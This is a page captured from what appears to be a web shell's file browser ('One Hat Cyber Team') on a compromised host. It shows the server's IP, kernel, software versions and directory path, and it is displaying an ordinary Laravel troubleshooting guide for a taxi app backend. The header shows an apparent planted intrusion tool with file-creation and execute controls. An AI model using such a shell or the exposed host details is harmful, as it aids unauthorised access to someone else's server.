⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.101
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Server Software:
Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
taxi.dev-unit.com
/
resources
/
docs
/
1.0
/
View File Name :
server-app-issues.md
# Common Issues Of Server App --- - [Uploaded Images Not Showing](#showing-image-issue) - [Unauthorized request kreit laravel](#kreit-laravel) - [Data Array Serializer Issue](#serializer-issue) - [Personal Access Client Not Found](#access-client-issue) - [Push Notifications Not Received](#push-notification-issue) <!-- - [Email Not Sent](#email-not-sent-issue) --> <a name="showing-image-issue"></a> ## Uploaded Images Not Showing * Please make sure the below things * We need to link the storage by the below command ```php php artisan storage:link ``` * We need to update the base url in .env in the below param like this ```php APP_URL=http://tagxi-server.ondemandappz.com ``` <a name="kreit-laravel"></a> ## Unauthorized request kreit laravel * This issue comes at end of the registeration process because of the misconfigured firebase setup for the backend app, Please make sure that you have done the below steps properly. * We need to update the firebase service-accounts.json in the below path Path: server-app-folder/public/push-configurations/firebase.json * Reference For downloading service-accounts.json - https://tagxi-docs.ondemandappz.com/user-manual/1.0/backend-setup#section-5 * Make sure that you have updated the correct path & firebase database url in .env file like below ```php FIREBASE_CREDENTIALS=/var/www/html/server-app/public/push-configurations/firebase.json FIREBASE_DATABASE_URL=https://your-project-rtdb.firebaseio.com ``` <a name="serializer-issue"></a> ## Data Array Serializer Issue * This issue has reported because the php version. Please make sure that you are using php7.2 <a name="access-client-issue"></a> ## Personal Access Client Not Found * This issue generally comes on authentication part due to passport installation not done. * Please make sure that you have run the below command in terminal of your project path ```php php artisan passport:install ``` <a name="push-notification-issue"></a> ## Push Notifications Not Received * This issue comes because of firebase or supervisor misconfigurations. * Please Make sure that you have done the firebase setup & the laravel supervisor setup. * reference link for supervisor-setup - https://tagxi-docs.ondemandappz.com/user-manual/1.0/backend-setup#section-6 <a name="email-not-sent-issue"></a> ## Email Not Sent * This Issue occurs due to incorrect email and/or gmail Api key. * Follow the steps below to create a gmail api key ### Step 1: Enable Two Step Verification for the google account ### Step 2: Create a Pass key for the account and save the key  * <em>Note: if you cannot see the App Passwords, use the link https://myaccount.google.com/apppasswords to create the App Passwords</em> ### Step 3: Update The key * Update the generated key in along with the google mail details in the mail configurations under the system settings.